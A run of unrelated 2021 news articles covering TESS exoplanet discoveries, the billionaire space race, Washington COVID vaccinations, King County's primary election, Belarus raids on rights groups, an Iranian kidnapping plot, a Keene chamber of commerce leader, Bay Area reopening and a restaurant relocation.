NASA TESS Discovers K-Type Dwarf Stars

The planets were discovered in the northern constellations of Bootes and Canes Venatici, respectively, by NASA's Transiting Exoplanet Survey Satellite (TESS), which are around 30 light-years apart.

Both stars are K-type dwarf stars, which are oranger than the Sun and have temperatures ranging from 3,500 to 5,000 Kelvin.

The Sun's surface temperature, on the other hand, is around 5,800 Kelvin.

The two stars are thought to have formed in the same gas cloud some 200 million years ago.

UPI said TOI 2076b, the star system's innermost planet, is around three times the size of Earth and orbits TOI 2076 every ten days.

On the other hand, TOI 2076c and d have orbits that are longer than 17 days and are four times the size of Earth.

TOI 1807 b, on the other hand, is roughly twice the size of Earth and orbits its star in 13 hours.

ALSO READ: Galaxy's 'No-Man's Land': Orphan Cloud Larger Than Milky Way Itself Discovered in Deep Space





Both TOI 2076 and TOI 1807, on the other hand, exhibit flares that are more intense and frequent than our Sun, which could aid researchers in learning more about the solar system's early days.

TOI 2076 b receives 400 times more UV light from its star than Earth receives from the Sun, whereas TOI 1807 b receives 22,000 times more.

According to co-author George Zhou, an astrophysicist at the University of Southern Queensland in Australia, stars produce 10 times more UV light when they reach the age of the Sun.

Exoplanets Could Help Experts Understand Earth's Teenage Life

Because the Sun may have been equally active at one time, Zhou said these two systems could give them a glimpse into the early conditions of the solar system.

Discovering these planetary systems, according to another study co-author, Loughborough University student Alex Hughes, would help them better understand the early formation and evolution processes.

The researchers are interested in learning more about TOI 1807 b since its 13-hour orbit should indicate that planets near their stars do not fully develop, but this does not appear to be the case, raising the possibility that it formed further out from its star and drifted inward.

Many of the things we study in astronomy evolve over such long durations, according to research co-author Trevor David, that a person cannot notice changes from month to month or year to year.

Scientists will be able to determine the masses of planets and whether or not they have atmospheres once the James Webb Telescope is working.

Experts reported the results of the study, titled "TOI-2076 and TOI-1807: Two Young, Comoving Planetary Systems Within 50 PC Identified by Tess That Are Ideal Candidates for Further Follow Up," in the Astronomical Journal.

RELATED ARTICLE: Exoplanets With "Goldilocks Zone" Could Host Life, NASA Suggests

Check out more news and information on Space in Science Times.
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Elon Musk, the founder of SpaceX, justified the so-called "space race" between some of the world's wealthiest men on Monday, claiming that space "represents hope for so many people".

The remarks come just one day after Virgin Galactic founder Richard Branson became the first person to launch his own spaceship into orbit. He narrowly defeated Jeff Bezos, the world's wealthiest person, by nine days.

"Those who attack space maybe don't realize that space represents hope for so many people," Musk tweeted.

those who attack space

maybe dont realize that

space represents hope

for so many people  Elon Musk (@elonmusk) July 13, 2021

Branson was scheduled to embark on the second of three Virgin Galactic test flights later this year before flying ticket holders next year. On Sunday, though, he jumped ahead of his competitors, reaching a height of 53.5 miles above the New Mexico desert with five crew members.

Bezos will follow Branson's lead and fly into space with his brother, Mark, a $28 million auction winner, and Wally Funk, one of the last surviving members of the Mercury 13, who has been picked as his "honored guest".

Musk's Plan Of Bringing People to Mars A Little Different

Although the three billionaires have identical objectives, Musk's strategy is a little different.

SpaceX, which currently launches personnel to the International Space Station for NASA and builds moon and Mars ships, aims to carry passengers into orbit above the Earth for days, with tickets costing millions of dollars. The first private flight for the company is scheduled for September.

Even though the three men are rivals, they have openly backed each other in recent weeks.

Branson, who has stressed that this isn't a space race, tweeted a photo of Musk visiting him before his big launch on Sunday morning.

Big day ahead. Great to start the morning with a friend. Feeling good, feeling excited, feeling ready.



Watch #Unity22 launch and livestream TODAY at 7:30 am PT | 10:30 am ET | 3:30 pm BST.@virgingalactic @elonmusk https://t.co/1313b4RAKI pic.twitter.com/FRQqrQEbH8  Richard Branson (@richardbranson) July 11, 2021

Bezos also expressed his gratitude to Branson on social media.

"@richardbranson and crew, congratulations on the flight. Can't wait to join the club!" Bezos wrote on Instagram alongside an image of Virgin's rocket.

ALSO READ: Bezos, Musk, Branson Beating Each Other in Space Tourism; Whose Rocket is Bigger Though?

Netizens Ridicule Musk's Plans

By ridiculing or mimicking Musk's structure for his beliefs on how space signifies hope, some others made fun of the SpaceX CEO.

However, as many critics of the billionaire space race claim, this is not the case. Daily Dot said there is a notion that people should spend money on aiding a country's residents rather than sending people into space has been around for decades. For example, not everyone supported the Apollo 11 moon trip.

No ones attacking space. Were attacking the fact that billionaires are exploiting workers, avoiding taxes, & getting Govt handouts while 80% of Americans live paycheck to paycheck & 60M Americans are food insecure.



You arent the victim here bud. https://t.co/mqGP0u340t  Qasim Rashid, Esq. (@QasimRashid) July 13, 2021

However, the criticism leveled at Musk and the other billionaires bidding for a space mission is far worse. People claim that these billionaires could be doing so much with their money that they could not even begin to spend it.

Still, instead of helping people, a netizen pointed out in a Tweet the billionaires are stroking their egos by starting a billionaire space race and then getting angry when they were called out on it.

Perhaps billionaires

Could solve problems on earth

Rather than race to space

For their egos https://t.co/SmtIc2q7VQ  Laura Brehm (@laurakbrehm) July 13, 2021

Another one commented on Twitter that other people would simply like billionaires to pay their taxes and fix Earth's problems.

RELATED ARTICLE: Billionaires Elon Musk, Jeff Bezos, Richard Branson Cannot Live in Space; Will Money Save Them from Climate Change?

Check out more news and information on Elon Musk in Science Times.
Washington health officials announced that 70% of the population ages 16 and older have received at least one dose of the COVID-19 vaccine as of Wednesday morning. That number includes people vaccinated by the Department of Defense and the Department of Veterans Affairs.

The vaccination milestone comes two weeks after the state's economy fully reopened, ending capacity restrictions for bars, restaurants, gyms and other indoor activities.

"This is great news. We knew we were going to get here," said Secretary of Health Umair Shah. "We had already met the national goal that the president and the federal government had set for 70% of 18 and up receiving one dose."

Seattle hit the 70% vaccination rate for residents 12 and older earlier in June, becoming the first major U.S. city to achieve the milestone. King County reached the 70% vaccination threshold just one week later.

State officials have said that life can resume as normal for fully vaccinated Washington residents who are protected against the virus. However, Shah has repeatedly warned of a "tale of two societies" where one portion of the population is vaccinated and another is not. Shah emphasized Wednesday that the state's work is not done.

"We want to do everything we can to recognize that those who are unvaccinated remain unprotected," Shah said during a news briefing when the state reopened. "And, unfortunately, if they continue to partake in certain behaviors they are going to be at risk for hospitalization."

Even though the state's economy has reopened and many restrictions have been lifted, there are still some limits on large indoor events with over 10,000 attendees. Those events will be limited to 75% capacity under the current plan unless vaccine verification is occurring, in which case there will be no capacity limits. Those restrictions will be reevaluated by the state on July 31.
Keep an eye on your mailbox, King County, because ballots and voters' pamphlets for the county's 2021 primary election are officially on the way.

In the primary election, voters will choose their top contenders to decide who will face off in the general election in November. This year has drawn a record amount of candidates, with a total of 646 filing with King County Elections to run for office. Of that, 217 candidates will appear on the Primary ballot.

If you haven't registered yet, don't worry  there's still time to register and get your ballot in before the deadline to make sure your voice is heard.

From the issues at stake to important dates, here's everything you need to know about the upcoming primary.

What's on the ballot?

Voters will decide who will advance to the general election for several seats on the Metropolitan King County Council, including Districts 1, 3, 5, 7 and 9. King County Executive, who leads the council, is also up for election, with incumbent Dow Constantine running against former state Sen. Joe Nguyen and several other candidates.

With incumbent Mayor Jenny Durkan not seeking reelection this year, Seattle residents will choose between 15 candidates for the city's highest position, advancing the top two to the general election.

Two Seattle City Council seats, Positions 8 and 9, are also up for election. Current Councilmember Teresa Mosqueda has raised more funds than any other candidate for Position 8 and will likely advance. Position 9 is set to be a tighter race between Fremont Brewing co-owner Sara Nelson, activist and 2017 mayoral candidate Nikkita Oliver and Council President Lorena Gonzalez's legislative aide Brianna Thomas all seeking the position.

Seattle City Attorney Pete Holmes is seeking his fourth term, running against public defender Nicole Thomas-Kennedy and Ann Davinson, who ran for lieutenant governor last year as a Republican.

A full list of candidates for each position can be found here.

There is one ballot measure that will be voted on by the entire county: an extension of the "Best Starts for Kids" levy, which was approved in 2015. Several other special purpose districts may have their own ballot measures. A full list of the measures can be found here.

Can I still register? When is the last day to register?

July 26 marks the last day to register online for the primary election. However, you can still register in person at the King County Elections Office in Renton or at a Vote Center up until 8 p.m. on Election Day.

JASON REDMOND/AFP via Getty Images

When are ballots due?

Here are the rundown of dates to remember:

July 15: Ballot drop boxes in King County open.

July 19: All voters should receive ballots by mail.

July 26: Last day to register online.

August 3: Election Day, ballots most be postmarked or turned into ballot drop boxes.

How do I return my ballot?

If you plan on returning your ballot by mail, it must be postmarked by Aug. 3. To ensure that it is postmarked, it is recommended that you return it no later than the Friday before the election. Postage is not required for returning your ballot.

If you are returning to a drop box, it must be submitted by 8 p.m. on Aug. 3 to be counted. There might be lines from last-minute voters, so plan ahead. The nearest drop box location can be found here. Those who need extra assistance completing their ballot can also go to one of the county's six voting centers.

GENNA MARTIN/SEATTLEPI.COM

What if I didn't get my ballot?

If you are a registered voter in the county and did not receive your ballot in the mail by July 19, call King County Elections at 206-296-8683.

How can I track my ballot?

View your registration information and track your ballot here.
BELLEVUE, Wash. (AP)  An 18-year-old Renton man was charged Tuesday with second-degree murder, accused of firing a sawed-off shotgun into the chest of a Bellevue teen in the parking lot of the AMC Factoria 8 movie theater on July 7, King County prosecutors said.

Carlos Anthony Espinoza was arrested at his home, where police found a hacksaw and the shotguns sawed-off barrel in his bedroom along with shotgun shells that matched shells found in his car and at the shooting scene, charging papers said.
KYIV, Ukraine (AP)  Authorities in Belarus raided the offices and homes of dozens of human rights activists and journalists Wednesday in a sweeping crackdown a day after the country's authoritarian president promised to deal with non-governmental organizations that he accuses of fomenting unrest.

Law enforcement officers raided the homes of 10 workers of the Viasna human rights center, as well as its offices in Minsk and other cities. They also searched a number of other Belarusian NGOs and journalists in the ex-Soviet state.

More than 40 raids took place across the country. The chairperson of the Belarusian Association of Journalists said officers broke the doors into the organizations office in the capital and didnt present a search warrant.

The most massive conveyor belt of repressions in the country's modern history has been activated in Belarus, Andrei Bastunets, the head of the journalists' association, told The Associated Press in a telephone interview after the Wednesday morning raid.

The renowned Viasna center has monitored human rights in Belarus for a quarter-century. Authorities revoked its credentials in 2003 and its leader, Ales Bialiatski, was arrested in 2012 and spent two years behind bars.

Bialiatski was detained on unspecified charges Wednesday, and the raids paralyzed the work of several regional branches of Viasna. Viasna's workers whose homes were searched were also taken to the Belarus' Investigative Committee for questioning.

The human rights center said in a statement that it would not cease its activities under pressure. It condemned the new wave of repression against members of our organization and civil society in Belarus.

The real motive for the persecution is our fight, together with Belarus' entire human rights community, for the advancement of human rights and democratic values, against torture and cruel, inhumane, humiliating treatment (of people), the statement said.

Other organizations targeted in the raids included the Belarusian Helsinki Committee, the World Association of Belarusians, the For Freedom movement and the Gender Perspectives association. The search of the offices of the Belarusian Association of Journalists was the second in three months.

The authorities use the most disgusting methods of cracking down on dissent in the country  fear, arrests and raids, Bastunest said.

According to Viasna, journalists and rights activists in the cities of Orsh, Grodno, Brest and others also were targeted in raids.

On Tuesday, Belarusian President Alexander Lukashenko promised to bring to justice 1,500 NGOs and journalists he alleged were funded from abroad. He claimed during a visit to Russia that Western-funded organizations were fomenting unrest and denounced their alleged actions.

We have started to work very actively to deal with all those NGOs,... which were effectively promoting terror instead of democracy, Lukashenko said.

U.S. Ambassador Julie Fisher denounced the raids on Twitter as part of a relentless campaign to criminalize independent voices, human rights defenders and civil society.

Belarus was rocked by months of protests after Lukashenkos August 2020 election to a sixth term in a disputed vote that was widely seen as rigged.

Belarusian authorities responded to the protests with a massive crackdown, including police beating thousands of demonstrators and arresting more than 35,000 people. Leading opposition figures have been jailed or forced to leave the country, while independent media outlets have had their offices searched and their journalists arrested.

Last week, authorities conducted more than 30 raids targeting journalists and media organizations in the capital Minsk and other regions. Seven journalists have been detained, including those working for the Nasha Niva newspaper, which authorities have banned. A total of 39 journalists are currently behind bars, either awaiting court appearances or convicted to prison terms.

Belarus State Security Committee  the KGB  announced earlier this month it was conducting a large-scale operation to purge radically minded individuals.

A prominent lawyer, Anton Gashinsky, also was stripped of his law license Wednesday. Gashinsky represented Sophia Sapega, the Russian girlfriend of dissident journalist Raman Pratasevich. The couple were arrested after Belarusian authorities diverted a flight to Lithuania they were on to Minsk.

Sviatlana Tsikhanouskaya, Lukashenko's main challenger in the August 2020 election, who was forced to leave Belarus and is in exile in Lithuania, tweeted Wednesday that Lukashenko wants to desolate the whole country.

The regime continues its massive attack on human rights defenders, activists, journalists, Tsikhanouskaya wrote.

Amnesty International urged the international community to act, saying that civil society is being wiped out in the heart of Europe.

"Todays massive attack on vital civil society organizations shows that nowhere near enough has been done to end this crisis," Marie Struthers, Amnesty International's director for Eastern Europe and Central Asia, said in a statement.
Ng Han Guan/AP

BEIJING (AP)  China says the withdrawal of U.S. and NATO forces from Afghanistan offers the country a new chance to take its destiny into its own hands, while calling for the resurgent Taliban to cut all ties with terrorist groups.

Speaking Tuesday in Tajikistan's capital Dushanbe, Foreign Minister Wang Yi said the U.S. should reflect on its role in Afghanistan after its 20-year military involvement failed to bring peace.
La journaliste Masih Alinejad s'exprime lors d'un evenement a New York le 7 avril 2016 Jemal Countess GETTY IMAGES NORTH AMERICA/AFP/Archives

La justice americaine a annonce mardi avoir inculpe quatre "agents du renseignement iranien" pour avoir planifie l'enlevement d'une reporter americaine d'origine iranienne aux Etats-Unis, la journaliste et militante antivoile Masih Alinejad assurant etre la cible visee.





Les quatre hommes cherchaient depuis "juin 2020" a enlever "une auteure et journaliste qui a mis en evidence les violations des droits humains commises par le gouvernement iranien" a fait savoir le ministere americain de la Justice dans un communique.





Ils avaient prevu "d'emmener de force leur victime en Iran, ou (son) sort aurait ete au mieux incertain", a precise la procureure Audrey Strauss.





N'etant pas nommee dans le communique, la militante feministe Masih Alinejad, a l'origine du mouvement antivoile en Iran, a indique etre la cible de ce projet d'enlevement.





"Merci au FBI d'avoir dejoue le projet des renseignements iraniens de m'enlever", a-t-elle dit sur Twitter, se filmant devant une fenetre depuis laquelle on apercoit une voiture de police. Cette derniere est selon elle garee devant son domicile depuis deux semaines.





Depuis les Etats-Unis, ou elle s'est desormais installee, Masih Alinejad critique le regime iranien et sa politique, et a recu le soutien de stars telles que Meryl Streep, qu'elle avait rejoint sur scene lors d'une conference sur les droits des femmes, en 2016.





"Aux yeux du regime iranien, toute femme qui se bat pour ses droits fondamentaux est une criminelle", avait-elle affirme en avril dernier dans un message video devant le Parlement suedois.





D'autres victimes visees





Les agents avaient cherche une facon de transporter la journaliste hors des Etats-Unis, l'un d'eux se renseignant notamment sur des vedettes rapides proposant "une evacuation marine autonome" a partir de New York, et un voyage par bateau entre New York et le Venezuela, pays qui entretient "des relations amicales avec l'Iran".





Ce reseau, decouvert par le FBI, visait aussi d'autres victimes vivant notamment "au Canada, au Royaume-Uni et aux Emirats Arabes Unis", contre lesquelles ils avaient tente de deployer les memes moyens de surveillance, selon les procureurs.





Les quatre agents sont Alireza Shavaroghi Farahani, Mahmoud Khazein, Kiya Sadeghi et Omid Noori.





Un cinquieme Iranien residant en Californie, Niloufar Bahadorifar, est lui soupconne d'avoir participe au financement de ce projet.





"Chaque personne aux Etats-Unis doit etre libre de tout harcelement, de toute menace et de toute atteinte physique de la part de puissances etrangeres", a affirme le procureur Mark Lesko.





L'Iran est considere comme l'un des pays les plus repressifs pour les journalistes, et exerce un controle de l'information "implacable" selon l'ONG Reporters Sans Frontieres, qui l'a place en 174eme place sur 180 de son classement mondial de la liberte de la presse en 2021.





"Cette repression contre la liberte de l'information ne se limite pas a l'interieur du pays", affirme RSF, qui estime que depuis 1979, au moins 860 journalistes y ont ete "arretes, detenus ou executes par le pouvoir"





En janvier 2016, Teheran avait echange le journaliste du Washington Post Jason Rezaian contre sept Iraniens detenus aux Etats-Unis.





Correspondant en Iran, M. Rezaian avait ete arrete avec son epouse le 22 juillet 2014, alors que l'Iran venait d'accepter la relance de negociations sur son programme nucleaire, soupconne par la communaute internationale de cacher un volet militaire.





Son epouse avait ete liberee apres deux mois de detention. Accuse d'"espionnage" au profit des Etats-Unis, il avait lui passe 544 jours a la prison d'Evine, dans le nord de Teheran, ou il a affirme avoir subi des mauvais traitements, ete prive de sommeil et menace d'etre decapite.




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Incoming chamber president seeks greater communication, collaboration

Hannah Schroeder / Sentinel Staff Luca Paris, incoming president and CEO of the Greater Keene & Peterborough Chamber of Commerce, speaks with downtown Keene business leaders Tuesday during a meeting at his restaurant, Lucas Mediterranean Cafe.

Luca Paris doesnt officially take over as president and CEO of the Greater Keene & Peterborough Chamber of Commerce until Sept. 1, but hes already meeting with local business owners to learn what they want from their relationship with the organization.

I know theres a lot going on, but I also know that theres a lot more we can do, Paris said Tuesday morning at a gathering of about 20 downtown Keene business leaders. So, my next couple of months are going to be meeting and saying just a simple phrase: ... In a perfect world, what [do] you envision the chamber being, as part of your world? 

And at the meeting  convened by the Keene Downtown Group, a collection of Main Street-area business owners, and hosted at Paris Central Square restaurant, Lucas Mediterranean Cafe  he heard a consistent message: Local merchants want more communication from, and collaboration with, the chamber.

Familiar face, new role Close

I could go on for days about what [organizations] we have, but nobody is talking to everybody, Tim Pipp, owner of Beeze Tees Screen Printing, said of the various economic groups in the area, including the chamber, the Keene Young Professionals Network, the Hannah Grimes Center for Entrepreneurship and the Keene Downtown Group. And I would love the chamber to be, not necessarily the voice, but the organizational part of every group.

At Tuesdays meeting, attendees like Pipp and Ted McGreer of Teds Shoe & Sport expressed confidence in Paris ability to make the chamber a bigger presence in the heart of Keene.

When I pay the dues to the chamber, I do it politically because its a great thing to be a downtown merchant and be a paying chamber member, McGreer told Paris during the hourlong meeting. But really, at the end of the day, I want to see more [return on investment]. I want to see the chamber more involved, and I think youre the guy to do it.

The chamber, which works to improve the local business climate through networking and programming, announced late last month that Paris would take over for retiring president and CEO Phil Suter, who has led the organization since 2013.

Paris, who has owned his eatery for 21 years, said he has started brainstorming how the chamber can increase communication not only in downtown Keene, but across the entire region. For example, he said he plans to develop an online platform to connect area entrepreneurs. This is especially important, Paris said, now that the chamber covers Peterborough, after its chamber merged with Keenes earlier this year, primarily due to the financial effects of the COVID-19 pandemic.

Theres different ways of creating communities, and creating a real online community where everyone is weighing in is going to be an important part of this, Paris said. So, whether youre a member from Peterborough or Keene, we want you to see and hear everything thats going on in all the places. So I think one of my first things is going to be creating this real online community, with postings, with interactions, with different ways of getting people together.

Paris added that hes still working on exact plans for this online platform, but believes it will be an effective way to engage all of the chambers 500-plus members. (The Sentinel is a chamber member.) This type of enhanced online presence could also help with another priority identified Tuesday: a unified events calendar.

Theres probably 13,001 calendars that exist in Keene, said Pipp, who serves on the chambers board. I always see on the Facebook groups, Whats going on in Keene? And people are spouting out whats going on, but theres not one place to check. And Ive been saying that for years, that we need just a central hub. And if it lived at the chamber, that would make sense to me.

And while much of Tuesdays meeting focused on downtown Keene businesses, several local entrepreneurs encouraged Paris to take a more regional approach to his new role at the chamber. Denise Meadows, co-owner of CC&Ds Kitchen Market and Catering, who described herself as a regional cheerleader, noted that the chambers recently launched marketing push focusing on drawing visitors, workers, students and young families to the area is a good start.

Even up until a year ago, it was Peterborough doing their thing and Keene doing their thing, and really not having that cohesive marketing, she said. So, this regional branding is kind of taking that, but there still needs to be more help with some of these organizations that are doing some of these things, and the communication of it.

Paris said he plans to talk to business leaders throughout the area, and beyond, to help promote the Monadnock Region, and bring more events here. For instance, he said he wants the chamber to launch a Taste of Peterborough event, similar to the Taste of Keene food festival that drew thousands of people to Central Square last month.

By just throwing that ball into the court and seeing who wants to pick it up and play, thats what Im excited about, and seeing whats going to happen there, he said. Because Taste of Peterborough will happen. Taste of Keene is going to happen again. What other events can we do and be a facilitator for, creator of?

And, Paris reassured the group, he believes this regional approach to the chamber will benefit them, too.

Promoting the region is promoting Keene, he said. We are still the hub of this area.
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After more than a year of pervasive efforts to contain the spread of COVID-19, the Bay Area has been stirring back to life in ways large and small.

Offices slowly are reopening, as are the constellation of restaurants and bars around them. Masks no longer are wardrobe essentials. Roads are crowded once again. Public transit isnt quite so empty.

But its impossible for a metropolitan region to simply push the reset button and return to how things were in early 2020, especially with the coronavirus continuing to mutate and spread. To monitor the ways our Bay Area is shuffling back toward a state of normal, four Chronicle reporters observ ed four spots in the region throughout the month of June . Each reporter spent a portion of the same day every week in one location to watch for changes in traffic, mood or behavior. They found a more nuanced reality, where gearing back up is no easy task, and even places that feel the same are touched by the tumult of the past 16 months.

This always used to be packed

Vallejo-San Francisco ferry, Thursdays, 7:45 a.m.

Jessica Christian/The Chronicle

Regular commuters on the morning ferry to San Francisco rarely look up, no matter the varied sequence of landscapes outside. They scroll their phones, tap away at their laptop computers, maybe grab a final few moments of sleep.

Matt Bauer, though, pays enough attention to notice a recent shift in his commute ritual that has continued five days a week, even during the worst of the pandemic.

Theres definitely an uptick, he mused from his regular perch on the upper deck at a long central table. Bauer is a social worker in the Tenderloin, and never stopped heading south each morning. For months, it was bare up here  anybody who had to come in, thats all you saw.

During June, an average of 79 riders headed south each day at 7:45, moving slowly past Mare Island until their vessel entered the open bay and picked up speed, passing everything from oil refineries and small islands to Mt. Tamalpais and other marquee attractions. Fifty-plus minutes later came the full-frontal encounter with San Franciscos skyline, the precise grandeur of the Ferry Building backed by mid-century towers resembling thick shoeboxes and, behind them, such glassy newcomers as Salesforce Tower.

Those numbers are nothing like pre-pandemic days, when there were 323 passengers onboard a typical 7:45 run. But its far above the daily average of 30 riders last July, when the route returned after being canceled during the initial shelter-in-place orders.

Riding one day each week, changes arent obvious in terms of numbers  especially since these vessels can hold 445 riders spread over two decks and a few rows of windy seats outside on top. But certain trends were visible; by late June there were more and more day-trippers, friends or families heading to the big city for the day.

And then there is the return of former regulars like Eraj Siddiqui, who boarded the ferry on June 17 to travel to San Francisco for the first time since March 2020. He works at a renewable energy firm where employees now are being asked to come in one day a week.

This is my preferred spot, he said, near a window at the front, looking up from his laptop to answer questions. He craned his neck to scan nearby rows. This always used to be packed, I have to say.

Jessica Christian/The Chronicle

The ferry is more expensive than your average commute but its the best one I had, by far, Bauer said. What an amazing way to unwind. You really develop community.

He paused to survey the long table, which is lined with four seats on each side.

Id sit here every morning, play poker with a bunch of guys, Bauer said. None are coming back. Theyre all in tech.

 John King

A hotter ticket than Hamilton

Tilden Little Farm, Friday afternoons

Paul Kuroda/Special to The Chronicle

A perpetual barnyard symphony reverberates at Tilden Little Farm as moos, oinks, bleats, quacks and clucks fill the air. For most of the pandemic, the farm was closed to the public. Park staffers said that, yes, the cows, pigs, sheep and poultry did miss the visitors  or at least the lettuce and celery they proffered.

The farm reopened in late April by advance reservation with limited hours, caps on the number of visitors, and requirements for masking and social distancing. At any given time, there were fewer than a dozen visitors, whereas pre-pandemic, especially on weekends, there might be scores of families.

The atmosphere was unchanged from week to week throughout June with small knots of families strolling from the cow pasture to the pig pen to the poultry barn. But in early July, after the East Bay Regional Park District fully reopened the farm, there was an appreciable increase in visitors.

Even during the reservations-required period, toddlers ran excitedly around the trodden dirt or peeked out cautiously from behind their parents and grandparents. The brave ones held out stalks of celery for the four brown-and-white cows, whose gargantuan tongues elicited shrieks, followed by screams of amazement.

Can I feed the chickens? Rosie Martinez, 5, asked her parents, Sophia and Cesar Martinez, as her 2-month-old brother, Nicolas, snoozed in a sling.

Paul Kuroda/Special to The Chronicle

Seeing things open up is amazing, Sophia said. Last summer we just did nothing. Rosie keeps saying, Best day ever.

She, like other parents, said they appreciated the park having rules stricter than those elsewhere in the state because kids under 12 are not vaccinated.

Its nice to have an outside activity that is still regulated so its not overcrowded, said Maureen Burke, whose kids Erin, 5, and Grace, 2, were gently stroking Dutch rabbits being held by volunteer docent Brianna Contaxis-Tucker. I like places that keep masks for kids.

Some locals did not realize that reservations were required. Every afternoon, several families would arrive to find the farm fenced off with rented steel barricades and two rangers at an entrance table, explaining that they needed to sign up in advance.

Way, way in advance because the farm, an East Bay mainstay, is overwhelmingly popular.

This is a hotter ticket than Hamilton, said Tempe Minaga-Teves, who brought her children Hana, 7, and Ted, 3. Were so happy to be here.

Where are the goats, mommy? asked Hana, echoing a similar question from other children old enough to remember the pre-pandemic farm. (Tilden staff said the small herd is housed at a farm in Santa Rosa while they rebuild the goat barn.)

Tilden fully reopened the farm on June 26 so visitors could show up without reservations or limits. Masks are recommended but not required. The adjacent Environmental Education Center also opened its doors for the first time, while still requiring masks indoors.

About triple the number of people as before the reopening were tromping around the farm on the Friday after reopening. All the adults and most of the children still wore masks.

Cassie Zola, who was sharing a snack with her mother, Wendy Hammond, and children Jaxon, 4, and Beckett, 20 months, remembers visiting the farm during her own childhood and milking the goats.

We came before (during the reservations period) and it felt very private, felt very safe  and also felt empty, she said. The spirit was missing. Its good to be back.

Carolyn Said

How quickly will things get back to normal?

House of Shields, downtown San Francisco, Thursdays, 4 p.m.

Bronte Wittpenn/The Chronicle

The House of Shields, an old-school bar, all mahogany walls and hand-tiled floors, opened for the first time since lockdown on May 27, just in time for Memorial Day weekend. The place had been busy, the bartender said, busier than he dared to imagine. As it turned out, tourists had come to the city for the weekend and the Palace Hotel, just across the street, was fuller than it had been in a long time.

But, a week later, on June 3, as James Bezaitis, the bartender, told this story, the energy had already cooled. The time was 4 p.m., just before what used to be their happy-hour rush, their busiest time of day when office workers and tourists and regulars would pour into the place for something off their menu of classic cocktails, or maybe a pint of Guinness. Now, Bezaitis, dressed in a crisp, white, collared shirt and a black vest, had just four customers.

Welcome back, James says to one man as he pulls up a stool.

Were picking up where we left off, the man answers back. He has a beer and a shot, and hes gone in 30 minutes.

Over the next five weeks, business would build, better and better every week, as manager Eric Passetti put it. House of Shields, a bar thats been around since 1908 (or maybe its 1912?), turned out to be a good place to watch people get back to the business of living. After all, as a general rule, bars get people drinking and drinking gets people talking and talking leads to connections, connections big and small, that never would have  never could have  happened over something like FaceTime or Zoom.

A week later, Thursday, June 10, a man in a suit comes in looking for Jim. Jims not there so he settles for a cocktail.

Im willing to try something new, but I dont like anything too sweet.

Maybe something spirit-forward, James says. Our Sazeracs we do very well.

Bronte Wittpenn/The Chronicle

Ill have a Sazerac then.

James mixes one up and places it before him. He takes a sip. Thats great. James nods.

How quickly will things get back to normal? the man asks.

Im guessing September, James says.

September, the man repeats.

But by the next week, June 17, James says he thinks itll be earlier than September as he looks down the bar, nearly every seat taken. Happy hour still isnt what it used to be, but the late-night business has been good. The other night, a group of eight came in just as he was closing. Well make it worth your while, they told him. And they did.

By the following Thursday, June 24, there was another bartender behind the bar, Ethan French. He was telling a woman at the bar about the brothel that used to be upstairs and the speakeasy that used to be downstairs. He nodded toward a picture of Warren Harding, the former president, hanging on the back wall. Rumor has it he died at House of Shields, and they shuttled his body over to the Palace Hotel.

French is back the next week, too, Thursday, July 1. Its the busiest it has been during happy hour since House of Shields opened. A group of six, then seven, then eight walks in and takes the booth at the back. After a moment, one of them approaches the bar with a list: Two Paper Planes, two Gold Rushes, one Sazerac, two G&Ts and a pilsner. French doesnt even ask him to repeat the order.

The group drinks the cocktails fast and before too long, the same guy is back. Theyre co-workers, he explains as he waits for another round, back at the office and now back at a bar for an after-work drink. Feels eerily normal, he says.

Oh, he says to French, and a round of shots. Two vodkas, six tequilas. He takes it all back to the table. Glass clinks against glass. Cheers!

 Ryan Kost

Were gonna go buck wild

Lake Merritt, Oakland, Friday afternoons

Jessica Christian/The Chronicle

During the pandemic, restrictions on movement emptied out offices, restaurants, movie theaters and bars across the Bay Area. Crowds thinned considerably on public transit and airlines. The opposite happened at Lake Merritt, one of Oaklands crown jewels.

Pent up from sheltering in place, many looked to the lake as an outlet when much of the world was closed. And when the nation was shaken by the death of George Floyd last year, thousands gathered at the lake to protest racial injustice.

The popularity endures, even as more places reopen this summer. On any given Friday in June, scores of people and pets visited the lake for exercise, to commune with nature and to play music together.

The lake is filled with diversity, Lim Cheung, who had a face mask draped on his chin, said as he scanned the crowd of people enjoying the area during the final Friday in June.

Lake Merritt was one of the first places Cheung, of San Leandro, thought to take his fiancee, a newcomer to the region to introduce her to the Bay Area. There they sat on a bench and gazed at a flock of ducks as they rippled across the water.

The changes in the weeks leading up to that moment have been subtle, but noticeable.

Masks were common prior to the states June 15 reopening; with revelers and joggers wearing them consistently. By the first Friday in July, just 85 people  out of hundreds, maybe a thousand  were spotted wearing masks in the 75 minutes it took to walk the lakes perimeter.

People are just like, Finally its over, and we dont even know how much of it was true. Thanks for taking a whole year of our life away, said Mahasin Munir of Oakland, who strolled through the area with her Maltese poodle, Coconut. Were off and running. Were gonna go buck wild.

On that final Friday in June, a shirtless man stood atop the drivers seat of his parked white convertible, dancing as T.I.s Whatever You Like blared from the cars speakers. A few yards away, a group of friends pitched a tent and sat together on the grass with their legs crisscrossed. They were smiling. A few yards from them, a couple set down pillows and faced the lake as they painted while enjoying glasses of wine. 365 days together, read a sign next to them.

There were no visible signs of the pandemic as people made their way through. For a moment, it looked like any sunny Friday afternoon.

 Ricardo Cano
The Kebabery, the casual offshoot of legendary wood-fired restaurant Camino, is closing its Oakland shop on Sunday. But dont fret: The skewer restaurant is moving about two miles north to a bigger location, with room for an adjacent bakery.

The new Kebabery will open in South Berkeley at 2929 Shattuck Ave., right by the original Berkeley Bowl, in the coming weeks. Originally reported as a second location instead of a relocation, the new Berkeley restaurant is going to give the cooks breathing room with a kitchen thats twice the size of the original.

Its also going to be home to Sesame a Tiny Bakery, a permanent spot for former Camino pastry chef Marykate McGoldricks pop-up known for seasonal, rustic desserts highlighting local fruit.

The plan is to keep the Kebabery menu basically the same: chicken, lamb and mushroom kebabs, available as a sandwich with grilled flatbread or on a plate with sides like spiced lentils and sauerkraut. The restaurant, like Camino, is known for its careful sourcing and using organic ingredients.

With more space, its possible the team might play around with new ideas, though there is no plan to change everything all the time, Camino-style, said co-owner Russell Moore. Theyre hoping to grow the menu, expand hours and add lunch down the line.

Scott Strazzante/The Chronicle 2017

The new Kebabery will open for indoor dining as well  the first time the restaurant will do so since the pandemic began. Seating will be limited at first but grow to about 30 seats.

From Sesame a Tiny Bakerys 100-square-foot retail space, expect a mix of thin, crispy cookies, perhaps imbued with black sesame or buckwheat, and light cakes layered with jams and creme fraiche whipped cream.

Food Guide Top 25 Restaurants Where to eat in the Bay Area. Find spots near you, create a dining wishlist, and more.

